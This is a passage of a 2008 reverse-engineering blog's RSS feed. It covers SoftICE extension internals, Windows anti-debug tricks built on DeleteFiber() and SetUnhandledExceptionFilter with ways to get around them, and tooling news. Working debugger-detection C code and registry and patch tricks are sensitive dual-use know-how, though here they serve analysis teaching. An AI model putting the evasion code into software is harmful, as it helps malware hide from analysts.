.text:A7AB9DA0                 push    [ebp+hCurrentThread]
.text:A7AB9DA3                 push    [ebp+hCurrentProcess]
.text:A7AB9DA6                 call    [ebp+ExtensionApi]
.text:A7AB9DA9 loc_A7AB9DA9:                           
.text:A7AB9DA9                 cli
.text:A7AB9DAA                 mov     esp, save_sice_esp
.text:A7AB9DB0                 mov     ebp, save_sice_ebp
.text:A7AB9DB6                 mov     b_extension_executing, 0
.text:A7AB9DBD                 call    restore_SEH
.text:A7AB9DC2                 xor     dl, dl
.text:A7AB9DC4                 call    Install_Reinsall_DivideOverflowHandler
.text:A7AB9DC9                 sti
.text:A7AB9DCA                 mov     edi, kd_extension_esp_start
.text:A7AB9DD0                 mov     ecx, kd_extension_stack_size
.text:A7AB9DD6                 shr     ecx, 2
.text:A7AB9DD9                 xor     eax, eax
.text:A7AB9DDB                 cld
.text:A7AB9DDC                 repe scasd
.text:A7AB9DDE                 mov     eax, ecx
.text:A7AB9DE0                 inc     eax
.text:A7AB9DE1                 shl     eax, 2
.text:A7AB9DE4                 popf
.text:A7AB9DE5                 popa
.text:A7AB9DE6                 pop     gs
.text:A7AB9DE8                 pop     fs
.text:A7AB9DEA                 pop     es
.text:A7AB9DEB                 pop     ds
.text:A7AB9DEC                 pop     ebp
.text:A7AB9DED                 retn    18h
.text:A7AB9DED si_callExtension endp</pre>
</div>Now comes funny part, really funny part!!!! <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 34px;
		text-align: left;
		overflow: auto">.text:A7AB9D8C                 mov     fs, word ptr kd_extension_fs</pre>
</div><b>This is not kd_extension_fs, this is FS of interupted TASK!!!!!!!!!!</b> So if you are debugging ring3 code, KDExtension will be called with FS = 0x3B which points to TEB instead of KPCR, what most exports from ntoskrnl.exe will expect it to be!!! Of course, this is not the problem when you interupt TASK which is running in ring0, but I want my extension to work the same way no matter if interupted task is in ring0 or ring3.<br />
<br />
That's the reason why KeSetEvent, ExAllocatePool, KeInsertQueueDpc and many, many others will fail, as those at some point expect FS to point to KPCR instead of TEB! <br />
<br />
My solution was to create 2 functions, and call them, one at the beginning of exported function, and one at the end:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 322px;
		text-align: left;
		overflow: auto">ULONG   old_fs;
void    set_fs()
{
        __asm{
                xor     eax, eax
                mov     ax, fs
                mov     old_fs, eax
                mov     eax, 30h
                mov     fs, ax
        }
}

void    restore_fs()
{
        __asm{
                mov     eax, old_fs
                mov     fs, ax
        }
}</pre>
</div>Although those seem like not safe functions, remember that softice uses NMI to suspend all other CPUs while it works, so this code is absolutely safe, as all other CPUs are stoped while SoftICE code is executing (at least it seems so), and current CPU is executing at HIGH_IRQL so no synchronization is required with global varaibla, as softice ensurs that only one thread can touch it :)<br />
<br />
Does anyone remember this exception in SoftICE window when dumping memory from ring3 process using IceExt? <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 34px;
		text-align: left;
		overflow: auto">A page fault at CS:EIP 0008:12345678 occurred when address 12345678 was referenced SS:EBP 0010:12345678</pre>
</div>Well here is the answer why it occurs :sneaky: FS is wrongly set by SoftICE :sneaky:</div>

]]></content:encoded>
			<dc:creator>deroko</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=112</guid>
		</item>
		<item>
			<title>Inside DeleteFiber() as Anti Debug Trick</title>
			<link>http://www.woodmann.com/forum/blog.php?b=111</link>
			<pubDate>Thu, 31 Jul 2008 12:41:21 GMT</pubDate>
			<description>Hi, 
 
Malware is often really boring to reverse because in high percentage they implements basical well known mechanisms of infection and self protection. 
But sometimes there are really intersting malware that implements innovative techniques, this is the case of a trojan borned into 2006 that...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
Malware is often really boring to reverse because in high percentage they implements basical well known mechanisms of infection and self protection.<br />
But sometimes there are really intersting malware that implements innovative techniques, this is the case of a trojan borned into 2006 that implemented <b>DeleteFiber()</b> as Anti–Debug Trick in a really easy and smart way.<br />
<br />
To understand how it works, let's see whar DeleteFiber is, directly from MSDN:<br />
<br />
Deletes an existing fiber.<br />
<br />
<b>Syntax</b><br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 66px;
		text-align: left;
		overflow: auto">VOID WINAPI DeleteFiber(
  __in  LPVOID lpFiber
);</pre>
</div>lpFiber is the address of the fiber to be deleted.<br />
<br />
Important to  say that the DeleteFiber function deletes all data associated with the fiber. This data includes the stack, a subset of the registers, and the fiber data. <br />
<br />
Now let's see a basical use of DeleteFiber():<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 162px;
		text-align: left;
		overflow: auto">#define _WIN32_WINNT 0x0400
#include &lt;windows.h&gt;

int main(void)
{
	char fiber[1024] = {0};		
	DeleteFiber(fiber);	
	return EXIT_SUCCESS;
}</pre>
</div>After showing the basical use of DeleteFiber let's see how can be implemented as Anti-Debug Trick, I insert here direcly the code:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 290px;
		text-align: left;
		overflow: auto">#define _WIN32_WINNT 0x0400
#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;

int main(void)
{
      char fib[1024] = {0};	
	DeleteFiber(fib);

	if(GetLastError() == 0x00000057)
		MessageBoxA(NULL,&quot;This process is NOT debugged&quot;,&quot;Info&quot;,MB_OK);
	else
		MessageBoxA(NULL,&quot;This process IS debugged&quot;,&quot;Info&quot;,MB_OK);
	
	
	return EXIT_SUCCESS;
}</pre>
</div>As you can understant we can resume this trick into two cases:<br />
<br />
If the process is NOT debugged DeleteFiber give us an <b>Error Code</b> of <b>0x00000057 </b>that corresponds to <b>ERROR_INVALID_PARAMETER</b> <br />
If the process IS debugged the error code is differs from <b>0x00000057</b><br />
<br />
What to say it's really easy to implement and really effective for all kind of debuggers, with a bit of junk code that confuses ideas the conditional check could be placed really distant from the DeleteFiber() itself.<br />
<br />
<b><div align="center">Inside DeleteFiber()</div></b><br />
<br />
Now we will see how DeleteFiber internally works to understand why this should be used as Anti-Debug trick.<br />
<br />
This is the Dead List:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 530px;
		text-align: left;
		overflow: auto">00401000  PUSH DF.00403370
00401005  CALL DWORD PTR DS:[&lt;&amp;KERNEL32.DeleteFiber&gt;;  kernel32.DeleteFiber

inside DeleteFiber()

7C825A9F &gt;   MOV EDI,EDI          ; DF.00403778
7C825AA1     PUSH EBP
7C825AA2     MOV EBP,ESP
7C825AA4     PUSH ECX
7C825AA5     PUSH ESI
7C825AA6     MOV EAX,DWORD PTR FS:[18]     ;_TEB Struct
7C825AAC     MOV ECX,DWORD PTR DS:[EAX+10] ;pointer to _TIB.FiberData field
7C825AAF     MOV ESI,DWORD PTR SS:[EBP+8]  ;lpFiber
7C825AB2     CMP ECX,ESI
7C825AB4     JE kernel32.7C826596          ;ExitThread if( FiberData == lpfiber)
7C825ABA     AND DWORD PTR SS:[EBP-4],0    ;Clears this Stack location
7C825ABE     PUSH 8000                     ;MEM_RELEASE
7C825AC3     LEA EAX,DWORD PTR SS:[EBP-4]  
7C825AC6     PUSH EAX
7C825AC7     LEA EAX,DWORD PTR DS:[ESI+10]
7C825ACA     PUSH EAX
7C825ACB     PUSH -1
7C825ACD     CALL DWORD PTR DS:[&lt;&amp;ntdll.NtFreeVirtual&gt;  ntdll.ZwFreeVirtualMemory
7C825AD3     MOV EAX,DWORD PTR FS:[18]        ;_TEB Struct
7C825AD9     MOV EAX,DWORD PTR DS:[EAX+30]    ;points to _PEB Struct
7C825ADC     PUSH ESI                         ;lpFiber
7C825ADD     PUSH 0                           ;0x00000000
7C825ADF     PUSH DWORD PTR DS:[EAX+18]       ;PEB.ProcessHeap
7C825AE2     CALL DWORD PTR DS:[&lt;&amp;ntdll.RtlFreeHeap&gt;] ; ntdll.RtlFreeHeap
7C825AE8     POP ESI
7C825AE9     LEAVE
7C825AEA     RETN 4</pre>
</div><br />
In the first part of DeleteFiber is retrived the _TEB structure and specifically a member of _TIB structure located at 10h<br />
<br />
0:003&gt; dt nt!_TEB -b<br />
ntdll!_TEB<br />
   +0x000 NtTib            : _NT_TIB<br />
      +0x000 ExceptionList    : Ptr32<br />
      ...      <br />
      +0x00c SubSystemTib     : Ptr32 <br />
      <b>+0x010 FiberData        : Ptr32 </b><br />
<br />
and next if FiberData is equal to our Fiber's Address it means that Fiber is suicinding itself and system calls <b>ExitThread()</b>, next we can notice a <b>NtFreeVirtualMemory</b> call with the following parameters:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 34px;
		text-align: left;
		overflow: auto"><b>NtFreeVirtualMemory(NtCurrentProcess(), &amp;pStackAllocBase,&amp;nSize,MEM_RELEASE);</b></pre>
</div>The system deallocates the used stack and finally calls RtlFreeHeap in this manner:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 34px;
		text-align: left;
		overflow: auto"><b>RtlFreeHeap(GetProcessHeap(), 0, lpFiber);</b></pre>
</div>This last call clarifies totally the presence of ERROR_INVALID_PARAMETER because has we have seen DeleteFiber is directly correlated with Heap, and Heap Memory presents a set of Flags that characterize the Heap itself.<br />
These Flags differs in case the process IS debugged or NOT, so we can suppose that these flags are created when the exe itself is executed, in other words at Process Creation Time. Under Windows NT processes are created through <b>PspUserThreadStartup</b> and inside it we can found LdrInitializeThunk, that as Russinovich sais The LdrInitializeThunk routine initializes the loader, <b>heap manager</b>, NLS tables, thread-local storage (TLS) array, and critical section structures. By going more deep we can see that there is a specific function that fill the PEB Struct of the new process<b> MmCreatePeb()</b>, PEB is important because between his various fields are stored Heap Flags of our process. I'm talking about NtGlobalFlag, for a debugged process these flags are:<br />
<br />
<b>#define FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010<br />
#define FLG_HEAP_ENABLE_FREE_CHECK 0x00000020<br />
#define FLG_HEAP_VALIDATE_PARAMETERS 0x00000040</b><br />
<br />
Now if a process has these flags enabled ( HeapDebug ) RtlFreeHeap will fail the Heap freeing and this error will be propagated to DeleteFiber() that will exit with an ERROR_INVALID_PARAMETER.<br />
<br />
<b><div align="center">Anti Anti-Debug</div></b><br />
<br />
Due to the fact that the Heap Validation is accomplished at Processs Creation Time, one countermeasure against Anti-Debug will be to attach the debugger after that the process is created.<br />
If you are using WinDbg could be used the <b>HeapDebug</b> option ( -hd )<br />
Between the function involved in process creation we have also <b>LdrQueryImageFileExecutionOptions</b> that mantains trace of IFEO ( Image File Execution Options structure) this struct is located into Registry under the path <b>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\]</b><br />
The various possible values are:<br />
Debugger<br />
DisableHeapLookaside<br />
ShutdownFlags<br />
MinimumStackCommitInBytes<br />
ExecuteOptions<br />
<b>GlobalFlag</b><br />
DebugProcessHeapOnly<br />
ApplicationGoo<br />
RpcThreadPoolThrottle<br />
GlobalFlag can be used to modify NtGlobalFlag, so if you set this key entry to NULL, Heap of the debugged program will looks as an undebugged one, read this as an Anti-Anti Debug Trick :).<br />
<br />
<b>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Target.exe]<br />
&quot;GlobalFlag&quot;=&quot;&quot;</b><br />
<br />
<br />
Regards,<br />
Giuseppe 'Evilcry' Bonfa'</div>

]]></content:encoded>
			<dc:creator>evilcry</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=111</guid>
		</item>
		<item>
			<title>Inside SetUnhandledExceptionFilter</title>
			<link>http://www.woodmann.com/forum/blog.php?b=110</link>
			<pubDate>Sat, 26 Jul 2008 07:44:14 GMT</pubDate>
			<description>Hi, 
* 
SetUnhandledExceptionFilter()* is frequently used as *Anti Debug Trick*, especially in Malware Applications. Around here there are various plugins for Olly that allows the Reverser to trasparently debug this kind of protection, so there is not a real necessity add other words about the mere...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<b><br />
SetUnhandledExceptionFilter()</b> is frequently used as <b>Anti Debug Trick</b>, especially in Malware Applications. Around here there are various plugins for Olly that allows the Reverser to trasparently debug this kind of protection, so there is not a real necessity add other words about the mere practical part of trick overcoming.<br />
<br />
Due to the fact that today, too many <i>young reversers</i> uses a ton of plugins anti - anti - xxx without knowing how internally they works, I decided to expose here a little summary of SetUnhandledExceptionFilter Internal characteristics.<br />
<br />
First of all, what SetUnhandledExceptionFilter is? according to MSDN documentation:<br />
<br />
<b>Enables an application to supersede the top-level exception handler of each thread of a process.<br />
<br />
After calling this function, if an exception occurs in a process that is not being debugged, and the exception makes it to the unhandled exception filter, that filter will call the exception filter function specified by the <i>lpTopLevelExceptionFilter parameter</i>.</b><br />
<br />
And this is the Syntax:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 66px;
		text-align: left;
		overflow: auto">LPTOP_LEVEL_EXCEPTION_FILTER WINAPI SetUnhandledExceptionFilter(
__in  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);</pre>
</div>lpTopLevelExceptionFilter is a pointer to top-level exception filter function that will be called whenever the <b>UnhandledExceptionFilter</b> function gets control, and the process is not being debugged. A value of NULL for this parameter specifies default handling within UnhandledExceptionFilter.<br />
<br />
Usually, in absence of an <b>UnhandledExceptionFilter</b> the topmost handler called when an uncatched exception occours, is the default one provided by Windows Itself, the classical MessageBox that advices the user that an Unhandled Exception has occured.<br />
<br />
But Windows allow programs to use custom Handlers for UnhandledException. The core of the trick is here, if the application is <b>NOT debugged</b>, the application is able to call the Custom Handler, but if the application <b>IS debugged</b> the Custom Handler will be never called.<br />
<br />
The possibility of cognitive differentiation make obviously able the target application to apply a series of countemeasures against debugging, from detection to code hidding.<br />
<br />
Just remember that due to the architecture of Windows Exception Handling, in <b>every case</b> is called UnhlandledExceptionFilter() function, and this will our point of attack (for anti - anti dbg trick).<br />
<br />
This is the general inner meccanism of SetUnhandledExceptionFilter(), going more deep we observe the call stack of the first thread of any Win32 application, we can see that execution in every case is reported to <b>BaseProcess</b>, here the pseudo definition:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 194px;
		text-align: left;
		overflow: auto">VOID BaseProcessStart( PPROCESS_START_ROUTINE pfnStartAddr )
{
    __try
    {
        ExitThread( (pfnStartAddr)() );
    }
    __except( UnhandledExceptionFilter( GetExceptionInformation()) )
    {
        ExitProcess( GetExceptionCode() );
    }
}</pre>
</div>The same thing happens for threads, by referencing to <b>BaseThreadStart</b>:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 194px;
		text-align: left;
		overflow: auto">VOID BaseThreadStart( PTHREAD_START_ROUTINE pfnStartAddr, PVOID pParam )
{
    __try
    {
        ExitThread( (pfnStartAddr)(pParam) );
    }
    __except( UnhandledExceptionFilter(GetExceptionInformation()) )
    {
        ExitProcess( GetExceptionCode() );
    }
}</pre>
</div>All that happens inside BaseProcessStart() and BaseThreadStart() for what previously said, will be passed to the UnhandledExceptionFilter().<br />
<br />
It’s now time to see what really is UnhandledExceptionFilter(), according to MSDN:<br />
<br />
<b>An application-defined function that passes unhandled exceptions to the debugger, if the process is being debugged. Otherwise, it optionally displays an Application Error message box and causes the exception handler to be executed. This function can be called only from within the filter expression of an exception handler.<br />
<br />
Syntax:<br />
</b><br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 66px;
		text-align: left;
		overflow: auto">LONG WINAPI UnhandledExceptionFilter(
  __in  struct _EXCEPTION_POINTERS *ExceptionInfo
);</pre>
</div>Became clear that UnhandledExceptionFilter represents the last choise for processing unhandled exceptions, so the <b>Check Debugger Presence</b> surely is located inside this function, let’s see a simplified version of this function:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<pre class="alt2" dir="ltr" style="
		margin: 0px;
		padding: 6px;
		border: 1px inset;
		width: 640px;
		height: 690px;
		text-align: left;
		overflow: auto">LONG UnhandledExceptionFilter( EXCEPTION_POINTERS* pep )
{
    DWORD rv;

    EXCEPTION_RECORD* per = pep-&gt;ExceptionRecord;

    if( ( per-&gt;ExceptionCode == EXCEPTION_ACCESS_VIOLATION ) &amp;&amp;
         ( per-&gt;ExceptionInformation[0] != 0 ) )
    {
        rv = BasepCheckForReadOnlyResource( per-&gt;ExceptionInformation[1] );

        if( rv == EXCEPTION_CONTINUE_EXECUTION )
            return EXCEPTION_CONTINUE_EXECUTION;
    }

    DWORD DebugPort = 0;

    <b><font color="Red">rv = NtQueryInformationProcess( GetCurrentProcess(), ProcessDebugPort,
                                    &amp;DebugPort, sizeof( DebugPort ), 0 );</font></b>

    if( ( rv &gt;= 0 ) &amp;&amp; ( DebugPort != 0 ) )
    {
        // Yes, it is -&gt; Pass exception to the debugger
        return EXCEPTION_CONTINUE_SEARCH;
    }

    // Is custom filter for unhandled exceptions registered ?

    if( BasepCurrentTopLevelFilter != 0 )
    {
        // Yes, it is -&gt; Call the custom filter

        rv = (BasepCurrentTopLevelFilter)(pep);

        if( rv == EXCEPTION_EXECUTE_HANDLER )
            return EXCEPTION_EXECUTE_HANDLER;

        if( rv == EXCEPTION_CONTINUE_EXECUTION )
            return EXCEPTION_CONTINUE_EXECUTION;
    }   

}</pre>
</div>As you can see, inside UnhandledExceptionFilter() is called <b>NtQueryInformationProcess()</b> that has as first parameter our process and next <b>DebugPort</b>, this is done to know if the process is debugged.<br />
<br />
All that we have to do to obtain an apparently undebugged process is to modify the first parameter (last pushed at debugging time), in other words we have to change the retur value of <b>GetCurrentProcess() </b>from <b>0xFFFFFFFF</b> to <b>0×00000000</b>.<br />
<br />
So remember, when you have to overcome a SetUnhandledExceptionFilter() just put a Breakpoint for UnhandledExceptionFilter() and go inside this function to modify the previously exposed parameter :)<br />
<br />
Thanks to Oleg Starodumov for pseudocodes :)<br />
<br />
See you to the next blog post.. :)</div>

]]></content:encoded>
			<dc:creator>evilcry</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=110</guid>
		</item>
		<item>
			<title><![CDATA[Small Devices & RCE]]></title>
			<link>http://www.woodmann.com/forum/blog.php?b=109</link>
			<pubDate>Fri, 25 Jul 2008 13:47:18 GMT</pubDate>
			<description><![CDATA[Didn't want to go off-topic in the other thread, that's why I'm opening a new one. I wanted to add some thoughts about the IDA-on-IPhone news. 
 
 
---Quote--- 
Good news for real iPhone fans: we ported IDA to iPhone! It can handle any application and provides the same analysis as on other...]]></description>
			<content:encoded><![CDATA[<div>Didn't want to go off-topic in the other thread, that's why I'm opening a new one. I wanted to add some thoughts about the IDA-on-IPhone news.<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2" style="border:1px inset">
			
				Good news for real iPhone fans: we ported IDA to iPhone! It can handle any application and provides the same analysis as on other platforms. It is funny to see IDA on a such small device:<br />
<br />
<i><u>http://hexblog.com/2008/07/ida_on_iphone.html</u></i><br />
<br />
Ilfak Guilfanov
			
		</td>
	</tr>
	</table>
</div>I think it's awesome.<br />
<br />
It's also funny, because in theory the new CFF Explorer will be compilable for mac os (being written in Qt), thus also IPhone. The only problem is the small display of such devices and I'm not sure if there's a possibility to reduce the needed space, but I'm quite optimistic.<br />
<br />
I mention this because the new CFF Explorer will support elf and other formats (lib, object, symbian etc), making it useful also for other systems and it might become part of a new generation of cross platform/device tools. It would be encouraging to know that in the future it will be possible to do reversing stuff on such a small device. The new CFF will also have zoom in/out features for the hex editor, making it very useful on devices with a small (or big) display.<br />
<br />
I hope that other programmers will follow the same lead.<br />
<br />
The main problem is writing cross platform applications and reorganizing GUIs for small displays.<br />
<br />
I want to share something I read on wikipedia some time ago:<br />
<br />
<div style="margin:20px; margin-top:5px; ">
	<div class="smallfont" style="margin-bottom:2px">Quote:</div>
	<table cellpadding="6" cellspacing="0" border="0" width="100%">
	<tr>
		<td class="alt2" style="border:1px inset">
			
				Microsoft software is also presented as a &quot;safe&quot; choice for IT managers purchasing software systems. In an internal memo for senior management Microsoft's head of C++ development, Aaron Contorer, stated:[7]<br />
<br />
“The Windows API is so broad, so deep, and so functional that most Independent Software Vendors would be crazy not to use it. And it is so deeply embedded in the source code of many Windows apps that there is a huge switching cost to using a different operating system instead... It is this switching cost that has given the customers the patience to stick with Windows through all our mistakes, our buggy drivers, our high TCO (total cost of ownership), our lack of a sexy vision at times, and many other difficulties [...] Customers constantly evaluate other desktop platforms, [but] it would be so much work to move over that they hope we just improve Windows rather than force them to move. In short, without this exclusive franchise called the Windows API, we would have been dead a long time ago.
			
		</td>
	</tr>
	</table>
</div>Companies such as Apple and Microsoft are very conscious of the strategic importance of hard binding applications to their propretary API. That's why Apple pushes cocoa and Microsoft .NET. They don't want cross platform development environments (oh and don't tell me that .NET is cross-platform, before doing so, show me a .NET GUI with more than a button in it on a system which isn't Windows), because it would make possible for users to switch to another system without losing his tools.  <br />
<br />
However, &quot;the times they are a changin'&quot;. Nowadays, developers are more conscious about this problem and prefer not to bind their application to only one platform. You can notice this if you pay attention to the names of newer applications. Ten years ago there were lots of windows applications which contained the word &quot;win&quot; in them. Winhex, WinDvd, Winzip, WinRar, WinAce, Winamp etc. etc. etc. Have you noticed that this trend has stopped? It's interesting, right now a struggle between developers and OS producers is taking place. OS producers want to ever more bind (even more than before) developers to their platform. Why do I say more than before? Well, consider that .NET implements its own languages, you can't simply share real C++ code with the managed one (yes, you can rely on pinvoke, but not for everything). Well, it's a bit more complicate than that, I know, but unsafe code is not encouraged in the .NET environment. Meanwhile, Apple pushes Obj-C. I want to know how this ends. Speaking for myself, I refuse to take a side and will stick with my beloved C++ (the real one).<br />
<br />
I hope this post won't generate a big controversy like the one about Windows Vista.</div>

]]></content:encoded>
			<dc:creator>Daniel Pistelli</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=109</guid>
		</item>
		<item>
			<title>SymbolFinder</title>
			<link>http://www.woodmann.com/forum/blog.php?b=108</link>
			<pubDate>Sat, 19 Jul 2008 16:16:20 GMT</pubDate>
			<description>Dunno if this is just me or this is for real, but if someone tries to google for some kind of example of symbol lister it will endup in dead-end (maybe I should work on my google skils :devil:), anyway, I spent last 2 days playing and figuring these symbols (great MS simply points in MSDN to PDB...</description>
			<content:encoded><![CDATA[<div>Dunno if this is just me or this is for real, but if someone tries to google for some kind of example of symbol lister it will endup in dead-end (maybe I should work on my google skils :devil:), anyway, I spent last 2 days playing and figuring these symbols (great MS simply points in MSDN to PDB documentation... where is that thing!??!!?), to write this enum, struct, symbol lister and decided to share my source so there can be at least one refference on how to list and parse symbols...<br />
<br />
<i><u>http://deroko.phearless.org/SymbolFinder.rar</u></i><br />
<br />
Hope someone will find it usefull :)</div>

]]></content:encoded>
			<dc:creator>deroko</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=108</guid>
		</item>
		<item>
			<title>Sun VirtualBox Disassembler Explantation</title>
			<link>http://www.woodmann.com/forum/blog.php?b=107</link>
			<pubDate>Tue, 15 Jul 2008 19:55:19 GMT</pubDate>
			<description>Hey,  
 
because i needed a good disassembler for my projects i check different distributions in the internet. most of them are homebrew and the support, or lets better talk about MAINTAINANCE is in most cases not the best. 
 
I really hate it if use a component and realize that there is a bug and...</description>
			<content:encoded><![CDATA[<div>Hey, <br />
<br />
because i needed a good disassembler for my projects i check different distributions in the internet. most of them are homebrew and the support, or lets better talk about MAINTAINANCE is in most cases not the best.<br />
<br />
I really hate it if use a component and realize that there is a bug and the releaser of the component is not able to fix it or sometimes has no real interest in fixing it. That sucks.<br />
<br />
Thats why i focused on a disassembler which is well maintained and last but not least a good one.<br />
<br />
During my search i stumbled over VirtualBox, which is an similar SUN implementation of VMWARES Workstation. The difference is that VirtualBox comes with source, or at least you can download the source ( <i><u>http://www.sun.com/software/products/virtualbox/get.jsp</u></i> ).<br />
<br />
I thought that the pretty sure have to have an working disassembler inside there virtual machine and bingo....they have.<br />
The problem was that the disassembler was not contained in form of a library, it was simple integrated in the source.<br />
<br />
It took me about 2 hours to explant the needed source parts out of virtualbox and built a project for a library for it.<br />
<br />
I now use it for my projects and it is very usefull for me.<br />
<br />
There is only one problem you will discover when you try the example. I looking forward for your solutions for the problem :)<br />
<br />
Regards, <br />
<br />
OHPen aka PAPiLLiON</div>


<!-- attachments -->
	<div style="margin-top:10px">

		
		
		
		
			<fieldset class="fieldset">
				<legend>Attached Files</legend>
				<table cellpadding="0" cellspacing="3" border="0">
				<tr>
	<td><img class="inlineimg" src="http://www.woodmann.com/forum/images/attach/rar.gif" alt="File Type: rar" width="16" height="16" border="0" style="vertical-align:baseline" /></td>
	<td><a href="http://www.woodmann.com/forum/blog_attachment.php?attachmentid=19&amp;d=1216151611">VirtualBoxDisassembler.rar</a> (392.5 KB, 203 views)</td>
</tr>
				</table>
			</fieldset>
		

	</div>
<!-- / attachments -->
]]></content:encoded>
			<dc:creator>OHPen</dc:creator>
			<guid isPermaLink="true">http://www.woodmann.com/forum/blog.php?b=107</guid>
		</item>
	</channel>
</rss>
